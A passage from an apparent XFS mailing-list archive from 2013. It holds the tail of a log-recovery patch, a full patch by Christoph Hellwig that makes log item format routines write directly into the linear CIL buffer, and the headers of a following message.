__uint64_t efi_id; - struct xfs_ail_cursor cur; - struct xfs_ail *ailp = log->l_ailp; - - efd_formatp = item->ri_buf[0].i_addr; + struct xfs_efd_log_format *efd_formatp = item->ri_buf[0].i_addr; + __uint64_t efi_id = efd_formatp->efd_efi_id; + struct xfs_efi_cancel *ecp; + ASSERT((item->ri_buf[0].i_len == (sizeof(xfs_efd_log_format_32_t) + ((efd_formatp->efd_nextents - 1) * sizeof(xfs_extent_32_t)))) || (item->ri_buf[0].i_len == (sizeof(xfs_efd_log_format_64_t) + ((efd_formatp->efd_nextents - 1) * sizeof(xfs_extent_64_t))))); - efi_id = efd_formatp->efd_efi_id; - /* - * Search for the efi with the id in the efd format structure - * in the AIL. - */ - spin_lock(&ailp->xa_lock); - lip = xfs_trans_ail_cursor_first(ailp, &cur, 0); - while (lip != NULL) { - if (lip->li_type == XFS_LI_EFI) { - efip = (xfs_efi_log_item_t *)lip; - if (efip->efi_format.efi_id == efi_id) { - /* - * xfs_trans_ail_delete() drops the - * AIL lock. - */ - xfs_trans_ail_delete(ailp, lip, - SHUTDOWN_CORRUPT_INCORE); - xfs_efi_item_free(efip); - spin_lock(&ailp->xa_lock); - break; - } + list_for_each_entry(ecp, &log->l_efi_cancel, ec_list) { + if (ecp->ec_efip->efi_format.efi_id == efi_id) { + list_del(&ecp->ec_list); + xfs_efi_item_free(ecp->ec_efip); + kmem_free(ecp); + break; } - lip = xfs_trans_ail_cursor_next(ailp, &cur); } - xfs_trans_ail_cursor_done(ailp, &cur); - spin_unlock(&ailp->xa_lock); return 0; } @@ -3618,27 +3592,26 @@ xlog_recover_process_data( } /* - * Process an extent free intent item that was recovered from - * the log. We need to free the extents that it describes. + * Process an extent free intent item that was recovered from the log. + * We need to free the extents that it describes. */ STATIC int xlog_recover_process_efi( - xfs_mount_t *mp, - xfs_efi_log_item_t *efip) + struct xlog *log, + struct xfs_efi_cancel *ecp) { - xfs_efd_log_item_t *efdp; - xfs_trans_t *tp; - int i; - int error = 0; - xfs_extent_t *extp; + struct xfs_mount *mp = log->l_mp; + struct xfs_efi_log_item *efip = ecp->ec_efip; + struct xfs_efd_log_item *efdp; + struct xfs_trans *tp; + struct xfs_extent *extp; xfs_fsblock_t startblock_fsb; - - ASSERT(!test_bit(XFS_EFI_RECOVERED, &efip->efi_flags)); + int error = 0; + int i; /* - * First check the validity of the extents described by the - * EFI. If any are bad, then assume that all are bad and - * just toss the EFI. + * First check the validity of the extents described by the EFI. + * If any are bad, then assume that all are bad and just toss the EFI. */ for (i = 0; i < efip->efi_format.efi_nextents; i++) { extp = &(efip->efi_format.efi_extents[i]); @@ -3652,12 +3625,14 @@ xlog_recover_process_efi( * This will pull the EFI from the AIL and * free the memory associated with it. */ - set_bit(XFS_EFI_RECOVERED, &efip->efi_flags); xfs_efi_release(efip, efip->efi_format.efi_nextents); return XFS_ERROR(EIO); } } + spin_lock(&log->l_ailp->xa_lock); + xfs_trans_ail_update(log->l_ailp, &efip->efi_item, ecp->ec_lsn); + tp = xfs_trans_alloc(mp, 0); error = xfs_trans_reserve(tp, &M_RES(mp)->tr_itruncate, 0, 0); if (error) @@ -3673,78 +3648,27 @@ xlog_recover_process_efi( extp->ext_len); } - set_bit(XFS_EFI_RECOVERED, &efip->efi_flags); - error = xfs_trans_commit(tp, 0); - return error; + return xfs_trans_commit(tp, 0); abort_error: xfs_trans_cancel(tp, XFS_TRANS_ABORT); return error; } -/* - * When this is called, all of the EFIs which did not have - * corresponding EFDs should be in the AIL. What we do now - * is free the extents associated with each one. - * - * Since we process the EFIs in normal transactions, they - * will be removed at some point after the commit. This prevents - * us from just walking down the list processing each one. - * We'll use a flag in the EFI to skip those that we've already - * processed and use the AIL iteration mechanism's generation - * count to try to speed this up at least a bit. - * - * When we start, we know that the EFIs are the only things in - * the AIL. As we process them, however, other items are added - * to the AIL. Since everything added to the AIL must come after - * everything already in the AIL, we stop processing as soon as - * we see something other than an EFI in the AIL. - */ STATIC int xlog_recover_process_efis( struct xlog *log) { - xfs_log_item_t *lip; - xfs_efi_log_item_t *efip; + struct xfs_efi_cancel *ecp, *next; int error = 0; - struct xfs_ail_cursor cur; - struct xfs_ail *ailp; - - ailp = log->l_ailp; - spin_lock(&ailp->xa_lock); - lip = xfs_trans_ail_cursor_first(ailp, &cur, 0); - while (lip != NULL) { - /* - * We're done when we see something other than an EFI. - * There should be no EFIs left in the AIL now. - */ - if (lip->li_type != XFS_LI_EFI) { -#ifdef DEBUG - for (; lip; lip = xfs_trans_ail_cursor_next(ailp, &cur)) - ASSERT(lip->li_type != XFS_LI_EFI); -#endif - break; - } - /* - * Skip EFIs that we've already processed. - */ - efip = (xfs_efi_log_item_t *)lip; - if (test_bit(XFS_EFI_RECOVERED, &efip->efi_flags)) { - lip = xfs_trans_ail_cursor_next(ailp, &cur); - continue; - } - - spin_unlock(&ailp->xa_lock); - error = xlog_recover_process_efi(log->l_mp, efip); - spin_lock(&ailp->xa_lock); + list_for_each_entry_safe(ecp, next, &log->l_efi_cancel, ec_list) { + list_del(&ecp->ec_list); + error = xlog_recover_process_efi(log, ecp); if (error) - goto out; - lip = xfs_trans_ail_cursor_next(ailp, &cur); + break; /* XXX: will leak remaining EFIs.. */ } -out: - xfs_trans_ail_cursor_done(ailp, &cur); - spin_unlock(&ailp->xa_lock); + return error; } @@ -4320,6 +4244,7 @@ xlog_do_log_recovery( KM_SLEEP); for (i = 0; i < XLOG_BC_TABLE_SIZE; i++) INIT_LIST_HEAD(&log->l_buf_cancel_table[i]); + INIT_LIST_HEAD(&log->l_efi_cancel); error = xlog_do_recovery_pass(log, head_blk, tail_blk, XLOG_RECOVER_PASS1); -- 1.7.10.4 From BATV+73d073057c8fc0323e65+3762+infradead.org+hch@bombadil.srs.infradead.org Wed Dec 11 06:03:51 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id BCD147FC4 for ; Wed, 11 Dec 2013 06:03:50 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 6608FAC012 for ; Wed, 11 Dec 2013 04:03:47 -0800 (PST) X-ASG-Debug-ID: 1386763421-04bdf013231ac910001-NocioJ Received: from bombadil.infradead.org (bombadil.infradead.org [198.137.202.9]) by cuda.sgi.com with ESMTP id 7rJSUdwxYQQ0hCNB (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Wed, 11 Dec 2013 04:03:42 -0800 (PST) X-Barracuda-Envelope-From: BATV+73d073057c8fc0323e65+3762+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1VqiVx-0001bU-3s for xfs@oss.sgi.com; Wed, 11 Dec 2013 12:03:41 +0000 Date: Wed, 11 Dec 2013 04:03:41 -0800 From: Christoph Hellwig To: xfs@oss.sgi.com Subject: [PATCH 06/10 v2] xfs: format log items write directly into the linear CIL buffer Message-ID: <20131211120341.GA6116@infradead.org> X-ASG-Orig-Subj: [PATCH 06/10 v2] xfs: format log items write directly into the linear CIL buffer References: <20131129083919.207915844@bombadil.infradead.org> <20131129084001.028583376@bombadil.infradead.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20131129084001.028583376@bombadil.infradead.org> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[198.137.202.9] X-Barracuda-Start-Time: 1386763422 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143012 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Instead of setting up pointers to memory locations in iop_format which then get copied into the CIL linear buffer after return move the copy into the individual inode items. This avoids the need to always have a memory block in the exact same layout that gets written into the log around, and allow the log items to be much more flexible in their in-memory layouts. The only caveat is that we need to properly align the data for each iovec so that don't have structures misaligned in subsequent iovecs. Note that all log item format routines now need to be careful to modify the copy of the item that was placed into the CIL after calls to xlog_copy_iovec instead of the in-memory copy. Signed-off-by: Christoph Hellwig --- fs/xfs/xfs_buf_item.c | 29 +++++++------- fs/xfs/xfs_dquot_item.c | 19 +++++----- fs/xfs/xfs_extfree_item.c | 10 +++-- fs/xfs/xfs_icreate_item.c | 5 ++- fs/xfs/xfs_inode_item.c | 92 ++++++++++++++++++++++----------------------- fs/xfs/xfs_log.h | 39 +++++++++++++++++-- fs/xfs/xfs_log_cil.c | 41 +++++--------------- fs/xfs/xfs_trans.h | 2 +- 8 files changed, 123 insertions(+), 114 deletions(-) diff --git a/fs/xfs/xfs_buf_item.c b/fs/xfs/xfs_buf_item.c index d49419d..7641173 100644 --- a/fs/xfs/xfs_buf_item.c +++ b/fs/xfs/xfs_buf_item.c @@ -184,6 +184,7 @@ xfs_buf_item_size( static inline void xfs_buf_item_copy_iovec( + struct xfs_log_vec *lv, struct xfs_log_iovec **vecp, struct xfs_buf *bp, uint offset, @@ -191,7 +192,7 @@ xfs_buf_item_copy_iovec( uint nbits) { offset += first_bit * XFS_BLF_CHUNK; - xlog_copy_iovec(vecp, XLOG_REG_TYPE_BCHUNK, + xlog_copy_iovec(lv, vecp, XLOG_REG_TYPE_BCHUNK, xfs_buf_offset(bp, offset), nbits * XFS_BLF_CHUNK); } @@ -211,13 +212,13 @@ xfs_buf_item_straddle( static void xfs_buf_item_format_segment( struct xfs_buf_log_item *bip, + struct xfs_log_vec *lv, struct xfs_log_iovec **vecp, uint offset, struct xfs_buf_log_format *blfp) { struct xfs_buf *bp = bip->bli_buf; uint base_size; - uint nvecs; int first_bit; int last_bit; int next_bit; @@ -233,18 +234,17 @@ xfs_buf_item_format_segment( */ base_size = xfs_buf_log_format_size(blfp); - nvecs = 0; first_bit = xfs_next_bit(blfp->blf_data_map, blfp->blf_map_size, 0); if (!(bip->bli_flags & XFS_BLI_STALE) && first_bit == -1) { /* * If the map is not be dirty in the transaction, mark * the size as zero and do not advance the vector pointer. */ - goto out; + return; } - xlog_copy_iovec(vecp, XLOG_REG_TYPE_BFORMAT, blfp, base_size); - nvecs = 1; + blfp = xlog_copy_iovec(lv, vecp, XLOG_REG_TYPE_BFORMAT, blfp, base_size); + blfp->blf_size = 1; if (bip->bli_flags & XFS_BLI_STALE) { /* @@ -254,7 +254,7 @@ xfs_buf_item_format_segment( */ trace_xfs_buf_item_format_stale(bip); ASSERT(blfp->blf_flags & XFS_BLF_CANCEL); - goto out; + return; } @@ -280,15 +280,15 @@ xfs_buf_item_format_segment( * same set of bits so just keep counting and scanning. */ if (next_bit == -1) { - xfs_buf_item_copy_iovec(vecp, bp, offset, + xfs_buf_item_copy_iovec(lv, vecp, bp, offset, first_bit, nbits); - nvecs++; + blfp->blf_size++; break; } else if (next_bit != last_bit + 1 || xfs_buf_item_straddle(bp, offset, next_bit, last_bit)) { - xfs_buf_item_copy_iovec(vecp, bp, offset, + xfs_buf_item_copy_iovec(lv, vecp, bp, offset, first_bit, nbits); - nvecs++; + blfp->blf_size++; first_bit = next_bit; last_bit = next_bit; nbits = 1; @@ -297,8 +297,6 @@ xfs_buf_item_format_segment( nbits++; } } -out: - blfp->blf_size = nvecs; } /* @@ -310,10 +308,11 @@ out: STATIC void xfs_buf_item_format( struct xfs_log_item *lip, - struct xfs_log_iovec *vecp) + struct xfs_log_vec *lv) { struct xfs_buf_log_item *bip = BUF_ITEM(lip); struct xfs_buf *bp = bip->bli_buf; + struct xfs_log_iovec *vecp = NULL; uint offset = 0; int i; @@ -354,7 +353,7 @@ xfs_buf_item_format( } for (i = 0; i < bip->bli_format_count; i++) { - xfs_buf_item_format_segment(bip, &vecp, offset, + xfs_buf_item_format_segment(bip, lv, &vecp, offset, &bip->bli_formats[i]); offset += bp->b_maps[i].bm_len; } diff --git a/fs/xfs/xfs_dquot_item.c b/fs/xfs/xfs_dquot_item.c index ca354a8..946d588 100644 --- a/fs/xfs/xfs_dquot_item.c +++ b/fs/xfs/xfs_dquot_item.c @@ -57,18 +57,19 @@ xfs_qm_dquot_logitem_size( STATIC void xfs_qm_dquot_logitem_format( struct xfs_log_item *lip, - struct xfs_log_iovec *vecp) + struct xfs_log_vec *lv) { struct xfs_dq_logitem *qlip = DQUOT_ITEM(lip); + struct xfs_log_iovec *vecp = NULL; - xlog_copy_iovec(&vecp, XLOG_REG_TYPE_QFORMAT, + qlip->qli_format.qlf_size = 2; + + xlog_copy_iovec(lv, &vecp, XLOG_REG_TYPE_QFORMAT, &qlip->qli_format, sizeof(struct xfs_dq_logformat)); - xlog_copy_iovec(&vecp, XLOG_REG_TYPE_DQUOT, + xlog_copy_iovec(lv, &vecp, XLOG_REG_TYPE_DQUOT, &qlip->qli_dquot->q_core, sizeof(struct xfs_disk_dquot)); - - qlip->qli_format.qlf_size = 2; } /* @@ -302,17 +303,17 @@ xfs_qm_qoff_logitem_size( STATIC void xfs_qm_qoff_logitem_format( struct xfs_log_item *lip, - struct xfs_log_iovec *vecp) + struct xfs_log_vec *lv) { struct xfs_qoff_logitem *qflip = QOFF_ITEM(lip); + struct xfs_log_iovec *vecp = NULL; ASSERT(qflip->qql_format.qf_type == XFS_LI_QUOTAOFF); + qflip->qql_format.qf_size = 1; - xlog_copy_iovec(&vecp, XLOG_REG_TYPE_QUOTAOFF, + xlog_copy_iovec(lv, &vecp, XLOG_REG_TYPE_QUOTAOFF, &qflip->qql_format, sizeof(struct xfs_qoff_logitem)); - - qflip->qql_format.qf_size = 1; } /* diff --git a/fs/xfs/xfs_extfree_item.c b/fs/xfs/xfs_extfree_item.c index 08823ec..fb7a4c1 100644 --- a/fs/xfs/xfs_extfree_item.c +++ b/fs/xfs/xfs_extfree_item.c @@ -102,9 +102,10 @@ xfs_efi_item_size( STATIC void xfs_efi_item_format( struct xfs_log_item *lip, - struct xfs_log_iovec *vecp) + struct xfs_log_vec *lv) { struct xfs_efi_log_item *efip = EFI_ITEM(lip); + struct xfs_log_iovec *vecp = NULL; ASSERT(atomic_read(&efip->efi_next_extent) == efip->efi_format.efi_nextents); @@ -112,7 +113,7 @@ xfs_efi_item_format( efip->efi_format.efi_type = XFS_LI_EFI; efip->efi_format.efi_size = 1; - xlog_copy_iovec(&vecp, XLOG_REG_TYPE_EFI_FORMAT, + xlog_copy_iovec(lv, &vecp, XLOG_REG_TYPE_EFI_FORMAT, &efip->efi_format, xfs_efi_item_sizeof(efip)); } @@ -368,16 +369,17 @@ xfs_efd_item_size( STATIC void xfs_efd_item_format( struct xfs_log_item *lip, - struct xfs_log_iovec *vecp) + struct xfs_log_vec *lv) { struct xfs_efd_log_item *efdp = EFD_ITEM(lip); + struct xfs_log_iovec *vecp = NULL; ASSERT(efdp->efd_next_extent == efdp->efd_format.efd_nextents); efdp->efd_format.efd_type = XFS_LI_EFD; efdp->efd_format.efd_size = 1; - xlog_copy_iovec(&vecp, XLOG_REG_TYPE_EFD_FORMAT, + xlog_copy_iovec(lv, &vecp, XLOG_REG_TYPE_EFD_FORMAT, &efdp->efd_format, xfs_efd_item_sizeof(efdp)); } diff --git a/fs/xfs/xfs_icreate_item.c b/fs/xfs/xfs_icreate_item.c index 5751fa8..7e45492 100644 --- a/fs/xfs/xfs_icreate_item.c +++ b/fs/xfs/xfs_icreate_item.c @@ -59,11 +59,12 @@ xfs_icreate_item_size( STATIC void xfs_icreate_item_format( struct xfs_log_item *lip, - struct xfs_log_iovec *vecp) + struct xfs_log_vec *lv) { struct xfs_icreate_item *icp = ICR_ITEM(lip); + struct xfs_log_iovec *vecp = NULL; - xlog_copy_iovec(&vecp, XLOG_REG_TYPE_ICREATE, + xlog_copy_iovec(lv, &vecp, XLOG_REG_TYPE_ICREATE, &icp->ic_format, sizeof(struct xfs_icreate_log)); } diff --git a/fs/xfs/xfs_inode_item.c b/fs/xfs/xfs_inode_item.c index 73002db..35dd24a 100644 --- a/fs/xfs/xfs_inode_item.c +++ b/fs/xfs/xfs_inode_item.c @@ -163,6 +163,7 @@ xfs_inode_item_size( STATIC int xfs_inode_item_format_extents( struct xfs_inode *ip, + struct xfs_log_vec *lv, struct xfs_log_iovec **vecp, int whichfork, int type) @@ -177,7 +178,7 @@ xfs_inode_item_format_extents( ip->i_itemp->ili_aextents_buf = ext_buffer; len = xfs_iextents_copy(ip, ext_buffer, whichfork); - xlog_copy_iovec(vecp, type, ext_buffer, len); + xlog_copy_iovec(lv, vecp, type, ext_buffer, len); return len; } @@ -212,8 +213,9 @@ xfs_inode_item_format_v1_inode( STATIC void xfs_inode_item_format_data_fork( struct xfs_inode_log_item *iip, - struct xfs_log_iovec **vecp, - int *nvecs) + struct xfs_inode_log_format *ilf, + struct xfs_log_vec *lv, + struct xfs_log_iovec **vecp) { struct xfs_inode *ip = iip->ili_inode; size_t data_bytes; @@ -239,19 +241,19 @@ xfs_inode_item_format_data_fork( * extents, so just point to the * real extents array. */ - xlog_copy_iovec(vecp, XLOG_REG_TYPE_IEXT, + xlog_copy_iovec(lv, vecp, XLOG_REG_TYPE_IEXT, ip->i_df.if_u1.if_extents, ip->i_df.if_bytes); - iip->ili_format.ilf_dsize = ip->i_df.if_bytes; + ilf->ilf_dsize = ip->i_df.if_bytes; } else #endif { - iip->ili_format.ilf_dsize = - xfs_inode_item_format_extents(ip, vecp, + ilf->ilf_dsize = + xfs_inode_item_format_extents(ip, lv, vecp, XFS_DATA_FORK, XLOG_REG_TYPE_IEXT); ASSERT(iip->ili_format.ilf_dsize <= ip->i_df.if_bytes); } - (*nvecs)++; + ilf->ilf_size++; } else { iip->ili_fields &= ~XFS_ILOG_DEXT; } @@ -264,11 +266,11 @@ xfs_inode_item_format_data_fork( if ((iip->ili_fields & XFS_ILOG_DBROOT) && ip->i_df.if_broot_bytes > 0) { ASSERT(ip->i_df.if_broot != NULL); - xlog_copy_iovec(vecp, XLOG_REG_TYPE_IBROOT, + xlog_copy_iovec(lv, vecp, XLOG_REG_TYPE_IBROOT, ip->i_df.if_broot, ip->i_df.if_broot_bytes); - (*nvecs)++; - iip->ili_format.ilf_dsize = ip->i_df.if_broot_bytes; + ilf->ilf_dsize = ip->i_df.if_broot_bytes; + ilf->ilf_size++; } else { ASSERT(!(iip->ili_fields & XFS_ILOG_DBROOT)); @@ -291,10 +293,10 @@ xfs_inode_item_format_data_fork( ip->i_df.if_real_bytes == data_bytes); ASSERT(ip->i_df.if_u1.if_data != NULL); ASSERT(ip->i_d.di_size > 0); - xlog_copy_iovec(vecp, XLOG_REG_TYPE_ILOCAL, + xlog_copy_iovec(lv, vecp, XLOG_REG_TYPE_ILOCAL, ip->i_df.if_u1.if_data, data_bytes); - (*nvecs)++; - iip->ili_format.ilf_dsize = (unsigned)data_bytes; + ilf->ilf_dsize = (unsigned)data_bytes; + ilf->ilf_size++; } else { iip->ili_fields &= ~XFS_ILOG_DDATA; } @@ -303,19 +305,15 @@ xfs_inode_item_format_data_fork( iip->ili_fields &= ~(XFS_ILOG_DDATA | XFS_ILOG_DBROOT | XFS_ILOG_DEXT | XFS_ILOG_UUID); - if (iip->ili_fields & XFS_ILOG_DEV) { - iip->ili_format.ilf_u.ilfu_rdev = - ip->i_df.if_u2.if_rdev; - } + if (iip->ili_fields & XFS_ILOG_DEV) + ilf->ilf_u.ilfu_rdev = ip->i_df.if_u2.if_rdev; break; case XFS_DINODE_FMT_UUID: iip->ili_fields &= ~(XFS_ILOG_DDATA | XFS_ILOG_DBROOT | XFS_ILOG_DEXT | XFS_ILOG_DEV); - if (iip->ili_fields & XFS_ILOG_UUID) { - iip->ili_format.ilf_u.ilfu_uuid = - ip->i_df.if_u2.if_uuid; - } + if (iip->ili_fields & XFS_ILOG_UUID) + ilf->ilf_u.ilfu_uuid = ip->i_df.if_u2.if_uuid; break; default: ASSERT(0); @@ -326,8 +324,9 @@ xfs_inode_item_format_data_fork( STATIC void xfs_inode_item_format_attr_fork( struct xfs_inode_log_item *iip, - struct xfs_log_iovec **vecp, - int *nvecs) + struct xfs_inode_log_format *ilf, + struct xfs_log_vec *lv, + struct xfs_log_iovec **vecp) { struct xfs_inode *ip = iip->ili_inode; size_t data_bytes; @@ -348,17 +347,17 @@ xfs_inode_item_format_attr_fork( * There are not delayed allocation extents * for attributes, so just point at the array. */ - xlog_copy_iovec(vecp, XLOG_REG_TYPE_IATTR_EXT, + xlog_copy_iovec(lv, vecp, XLOG_REG_TYPE_IATTR_EXT, ip->i_afp->if_u1.if_extents, ip->i_afp->if_bytes); - iip->ili_format.ilf_asize = ip->i_afp->if_bytes; + ilf->ilf_asize = ip->i_afp->if_bytes; #else ASSERT(iip->ili_aextents_buf == NULL); - iip->ili_format.ilf_asize = - xfs_inode_item_format_extents(ip, vecp, + ilf->ilf_asize = + xfs_inode_item_format_extents(ip, lv, vecp, XFS_ATTR_FORK, XLOG_REG_TYPE_IATTR_EXT); #endif - (*nvecs)++; + ilf->ilf_size++; } else { iip->ili_fields &= ~XFS_ILOG_AEXT; } @@ -371,11 +370,11 @@ xfs_inode_item_format_attr_fork( ip->i_afp->if_broot_bytes > 0) { ASSERT(ip->i_afp->if_broot != NULL); - xlog_copy_iovec(vecp, XLOG_REG_TYPE_IATTR_BROOT, + xlog_copy_iovec(lv, vecp, XLOG_REG_TYPE_IATTR_BROOT, ip->i_afp->if_broot, ip->i_afp->if_broot_bytes); - (*nvecs)++; - iip->ili_format.ilf_asize = ip->i_afp->if_broot_bytes; + ilf->ilf_asize = ip->i_afp->if_broot_bytes; + ilf->ilf_size++; } else { iip->ili_fields &= ~XFS_ILOG_ABROOT; } @@ -395,11 +394,11 @@ xfs_inode_item_format_attr_fork( ASSERT(ip->i_afp->if_real_bytes == 0 || ip->i_afp->if_real_bytes == data_bytes); ASSERT(ip->i_afp->if_u1.if_data != NULL); - xlog_copy_iovec(vecp, XLOG_REG_TYPE_IATTR_LOCAL, + xlog_copy_iovec(lv, vecp, XLOG_REG_TYPE_IATTR_LOCAL, ip->i_afp->if_u1.if_data, data_bytes); - (*nvecs)++; - iip->ili_format.ilf_asize = (unsigned)data_bytes; + ilf->ilf_asize = (unsigned)data_bytes; + ilf->ilf_size++; } else { iip->ili_fields &= ~XFS_ILOG_ADATA; } @@ -420,28 +419,28 @@ xfs_inode_item_format_attr_fork( STATIC void xfs_inode_item_format( struct xfs_log_item *lip, - struct xfs_log_iovec *vecp) + struct xfs_log_vec *lv) { struct xfs_inode_log_item *iip = INODE_ITEM(lip); struct xfs_inode *ip = iip->ili_inode; - uint nvecs; + struct xfs_inode_log_format *ilf; + struct xfs_log_iovec *vecp = NULL; - xlog_copy_iovec(&vecp, XLOG_REG_TYPE_IFORMAT, + ilf = xlog_copy_iovec(lv, &vecp, XLOG_REG_TYPE_IFORMAT, &iip->ili_format, sizeof(struct xfs_inode_log_format)); - nvecs = 1; - - xlog_copy_iovec(&vecp, XLOG_REG_TYPE_ICORE, - &ip->i_d, - xfs_icdinode_size(ip->i_d.di_version)); - nvecs++; + ilf->ilf_size = 1; if (ip->i_d.di_version == 1) xfs_inode_item_format_v1_inode(ip); + xlog_copy_iovec(lv, &vecp, XLOG_REG_TYPE_ICORE, + &ip->i_d, + xfs_icdinode_size(ip->i_d.di_version)); + ilf->ilf_size++; - xfs_inode_item_format_data_fork(iip, &vecp, &nvecs); + xfs_inode_item_format_data_fork(iip, ilf, lv, &vecp); if (XFS_IFORK_Q(ip)) { - xfs_inode_item_format_attr_fork(iip, &vecp, &nvecs); + xfs_inode_item_format_attr_fork(iip, ilf, lv, &vecp); } else { iip->ili_fields &= ~(XFS_ILOG_ADATA | XFS_ILOG_ABROOT | XFS_ILOG_AEXT); @@ -455,7 +454,6 @@ xfs_inode_item_format( */ iip->ili_format.ilf_fields = XFS_ILOG_CORE | (iip->ili_fields & ~XFS_ILOG_TIMESTAMP); - iip->ili_format.ilf_size = nvecs; } /* diff --git a/fs/xfs/xfs_log.h b/fs/xfs/xfs_log.h index 384c6c4..65e054a 100644 --- a/fs/xfs/xfs_log.h +++ b/fs/xfs/xfs_log.h @@ -31,18 +31,49 @@ struct xfs_log_vec { #define XFS_LOG_VEC_ORDERED (-1) static inline void * -xlog_copy_iovec(struct xfs_log_iovec **vecp, uint type, void *data, int len) +xlog_prepare_iovec(struct xfs_log_vec *lv, struct xfs_log_iovec **vecp, + uint type) { struct xfs_log_iovec *vec = *vecp; + if (vec) { + ASSERT(vec - lv->lv_iovecp < lv->lv_niovecs); + vec++; + } else { + vec = &lv->lv_iovecp[0]; + } + vec->i_type = type; - vec->i_addr = data; - vec->i_len = len; + vec->i_addr = lv->lv_buf + lv->lv_buf_len; - *vecp = vec + 1; + *vecp = vec; return vec->i_addr; } +static inline void +xlog_finish_iovec(struct xfs_log_vec *lv, struct xfs_log_iovec *vec, int len) +{ + /* + * We need to make sure the next buffer is naturally aligned for the + * biggest basic data type we put into it. We already accounted for + * this when sizing the buffer. + */ + lv->lv_buf_len += round_up(len, sizeof(uint64_t)); + vec->i_len = len; +} + +static inline void * +xlog_copy_iovec(struct xfs_log_vec *lv, struct xfs_log_iovec **vecp, + uint type, void *data, int len) +{ + void *buf; + + buf = xlog_prepare_iovec(lv, vecp, type); + memcpy(buf, data, len); + xlog_finish_iovec(lv, *vecp, len); + return buf; +} + /* * Structure used to pass callback function and the function's argument * to the log manager. diff --git a/fs/xfs/xfs_log_cil.c b/fs/xfs/xfs_log_cil.c index 0a7a8ce..cdebd83 100644 --- a/fs/xfs/xfs_log_cil.c +++ b/fs/xfs/xfs_log_cil.c @@ -82,36 +82,6 @@ xlog_cil_init_post_recovery( log->l_curr_block); } -STATIC int -xlog_cil_lv_item_format( - struct xfs_log_item *lip, - struct xfs_log_vec *lv) -{ - int index; - char *ptr; - - /* format new vectors into array */ - lip->li_ops->iop_format(lip, lv->lv_iovecp); - - /* copy data into existing array */ - ptr = lv->lv_buf; - for (index = 0; index < lv->lv_niovecs; index++) { - struct xfs_log_iovec *vec = &lv->lv_iovecp[index]; - - memcpy(ptr, vec->i_addr, vec->i_len); - vec->i_addr = ptr; - ptr += vec->i_len; - } - - /* - * some size calculations for log vectors over-estimate, so the caller - * doesn't know the amount of space actually used by the item. Return - * the byte count to the caller so they can check and store it - * appropriately. - */ - return ptr - lv->lv_buf; -} - /* * Prepare the log item for insertion into the CIL. Calculate the difference in * log space and vectors it will consume, and if it is a new item pin it as @@ -232,6 +202,13 @@ xlog_cil_insert_format_items( nbytes = 0; } + /* + * We 64-bit align the length of each iovec so that the start + * of the next one is naturally aligned. We'll need to + * account for that slack space here. + */ + nbytes += niovecs * sizeof(uint64_t); + /* grab the old item if it exists for reservation accounting */ old_lv = lip->li_lv; @@ -272,9 +249,9 @@ xlog_cil_insert_format_items( lv->lv_niovecs = niovecs; /* The allocated data region lies beyond the iovec region */ + lv->lv_buf_len = 0; lv->lv_buf = (char *)lv + buf_size - nbytes; - - lv->lv_buf_len = xlog_cil_lv_item_format(lip, lv); + lip->li_ops->iop_format(lip, lv); insert: ASSERT(lv->lv_buf_len <= nbytes); xfs_cil_prepare_item(log, lv, old_lv, diff_len, diff_iovecs); diff --git a/fs/xfs/xfs_trans.h b/fs/xfs/xfs_trans.h index 9b96d35..b5bc1ab 100644 --- a/fs/xfs/xfs_trans.h +++ b/fs/xfs/xfs_trans.h @@ -64,7 +64,7 @@ typedef struct xfs_log_item { struct xfs_item_ops { void (*iop_size)(xfs_log_item_t *, int *, int *); - void (*iop_format)(xfs_log_item_t *, struct xfs_log_iovec *); + void (*iop_format)(xfs_log_item_t *, struct xfs_log_vec *); void (*iop_pin)(xfs_log_item_t *); void (*iop_unpin)(xfs_log_item_t *, int remove); uint (*iop_push)(struct xfs_log_item *, struct list_head *); -- 1.7.10.4 From lczerner@redhat.com Wed Dec 11 06:05:40 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 2F12E7FC4 for ; Wed, 11 Dec 2013 06:05:40 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 0D1578F8065 for ; Wed, 11 Dec 2013 04:05:36 -0800 (PST) X-ASG-Debug-ID: 1386763536-04bdf013211ac9f0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id HJyV0Ga56aHrEdCp for ; Wed, 11 Dec 2013 04:05:36 -0800 (PST) X-Barracuda-Envelope-From: lczerner@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx09.intmail.prod.int.phx2.redhat.com 